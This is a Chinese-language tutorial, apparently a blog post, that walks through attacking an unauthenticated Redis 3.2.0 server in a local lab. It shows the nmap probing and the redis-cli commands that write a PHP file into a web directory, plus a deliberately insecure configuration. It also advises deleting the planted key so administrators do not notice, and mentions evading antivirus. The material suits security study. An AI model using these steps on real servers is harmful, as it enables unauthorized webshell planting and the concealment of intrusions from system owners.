本地漏洞环境搭建
1 | wget http://download.redis.io/releases/redis-3.2.0.tar.gz |
2 | tar xzf redis-3.2.0.tar.gz |
3 | cd redis-3.2.0 |
4 | make |
修改配置文件为可以远程访问
1 | gedit redis.conf |
把bind 127.0.0.1
前面加上#
注释掉
把protected-mode
设为no
启动redis
1 | ./src/redis-server redis.conf |
环境介绍
靶机IP:192.168.31.131
攻击IP:192.168.31.129
攻击过程
探测目标机是否有redis
1 | nmap 192.168.31.131 -A -p 6379 –script redis-info |
探测出有redis
服务,使用如下命令连接,查看是否存在未授权
1 | redis-cli -h 靶机IP |
连接成功,那么我们使用redis
来进行反弹shell
写入文件
假设我靶机存在这么一个目录是web
目录,且是php
脚本,那么我们可以使用如下命令来进行写入shell
(前提是知道目标机的网站目录的绝对路径)
然后使用redis
对其目录写入phpinfo()
1 | 192.168.31.131:6379> config set dir /root/web |
2 | OK |
3 | 192.168.31.131:6379> config set dbfilename shell.php |
4 | OK |
5 | 192.168.31.131:6379> set x "<?php phpinfo();?>" |
6 | OK |
7 | 192.168.31.131:6379> save |
8 | OK |
然后就会在靶机的/root/web
目录下写入shell.php
但是我们利用redis
写入的shell
是会加入很多其他数据的,如图
但是php
是具有容错性的,哪怕这样也是可以执行phpinfo()
成功写入shell
后,如果不想被管理员发现,除了将木马写隐蔽和免杀外还要将你写入的key
删除,比如我上面是用set x "<?php phpinfo();?>"
,那么我要将x
变量删除
注意:如果这里是实战环境,最好不要执行keys *
命令,因为如果他们设置的key
很多很多,几十万几百万条的话查看key
数据可能会把服务器的cpu
直接跑满,严重的说机器会直接崩溃,那么我们只要记住写入的key
名,然后写完shell
后将其del
即可,因为这里是我演示的,所以才进行这个错误的示范
其实
redis
不仅可以写入webshell
还可以反弹shell
,但是我一般需求就是获取webshell
即可,但是如果目标系统对写入的shell
解析有问题,那么我们就不得不反弹shell
了(网上有很多这类文章,不写了,一样的)